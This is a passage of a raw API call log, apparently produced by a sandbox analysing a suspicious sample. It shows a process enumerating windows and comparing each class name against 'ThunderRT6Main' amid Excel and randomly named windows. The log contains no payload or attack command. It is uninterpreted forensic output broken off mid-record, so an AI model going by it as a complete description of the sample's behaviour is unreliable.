GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.340] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0156.340] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.340] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.340] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.340] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0156.341] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.341] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.341] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.341] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0156.341] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.341] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.341] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.341] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0156.341] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.341] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.341] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.341] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0156.341] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Button") returned 6 [0156.341] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0156.341] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.341] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0156.341] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0156.341] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0156.341] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.341] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0156.341] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.341] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.341] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.341] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0156.341] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0156.341] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0156.341] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.341] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0156.341] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0156.341] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0156.341] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0156.341] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0156.341] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.341] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.341] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0156.341] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0156.341] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0156.341] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0156.341] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0156.341] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0156.341] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.341] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.341] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0156.341] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0156.341] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.341] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.341] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.341] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0156.341] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.341] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.341] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.341] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0156.342] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.342] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.342] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.342] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0156.342] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.342] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.342] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.342] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0156.342] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0156.342] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0156.342] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.342] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0156.342] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0156.342] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0156.342] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.342] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0156.342] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0156.342] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0156.342] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0156.342] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.342] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.342] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.342] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0156.342] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0156.342] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0156.342] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0156.342] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0156.342] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0156.342] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0156.342] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0156.342] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.342] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.342] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0156.342] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0156.342] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0156.342] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0156.342] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.342] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -1946157056 [0156.342] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0156.342] IsWindowEnabled (hWnd=0x302dc) returned 0 [0156.342] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0156.342] RemovePropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0156.342] EnableWindow (hWnd=0x302dc, bEnable=1) returned 1 [0156.342] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0156.342] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0156.342] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0156.342] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0156.342] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.342] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0156.342] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0156.342] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0156.342] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0156.342] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0156.342] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0156.343] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.343] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0156.343] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0156.343] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0156.343] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0156.343] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0156.343] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0156.343] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.343] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0156.343] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0156.343] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0156.343] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0156.343] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0156.343] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0156.343] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.343] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0156.343] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0156.343] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0156.343] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0156.343] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0156.343] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0156.343] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.343] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0156.343] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0156.343] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0156.343] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0156.343] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0156.343] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0156.343] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.343] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0156.343] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0156.343] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0156.343] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0156.343] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0156.343] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0156.343] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0156.343] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0156.343] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.343] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0156.343] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0156.343] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0156.343] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0156.343] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0156.343] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0156.343] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.343] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0156.343] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0156.343] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0156.343] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0156.343] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0156.343] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0156.343] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.343] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0156.343] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0156.343] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0156.343] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0156.343] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0156.343] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0156.343] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.343] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0156.343] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0156.343] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0156.344] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0156.344] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0156.344] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0156.344] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.344] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0156.344] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0156.344] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0156.344] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0156.344] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0156.344] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0156.344] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.344] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0156.344] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0156.344] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0156.344] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0156.344] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0156.344] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0156.344] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.344] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0156.344] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0156.344] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0156.344] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0156.344] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0156.344] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0156.344] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.344] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0156.344] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0156.344] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0156.344] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0156.344] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0156.344] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0156.344] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0156.344] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0156.344] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0156.344] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0156.344] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.344] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0156.344] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0156.344] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0156.344] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0156.344] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.344] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.344] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0156.344] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0156.344] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0156.344] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0156.344] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0156.344] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0156.344] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0156.344] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0156.344] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0156.344] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0156.344] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0156.344] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.344] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.344] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0156.344] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0156.344] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0156.344] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0156.345] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0156.345] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0156.345] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.345] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.345] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0156.345] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0156.345] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0156.345] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0156.345] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0156.345] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0156.345] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.345] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.345] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0156.345] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0156.345] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0156.345] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0156.345] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0156.345] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0156.345] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.345] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.345] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0156.345] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0156.345] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0156.345] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0156.345] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0156.345] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0156.345] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0156.345] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0156.345] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0156.345] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0156.345] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.345] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.345] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0156.345] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0156.345] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0156.345] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0156.345] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0156.345] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0156.345] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.345] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.345] GetWindowThreadProcessId (in: 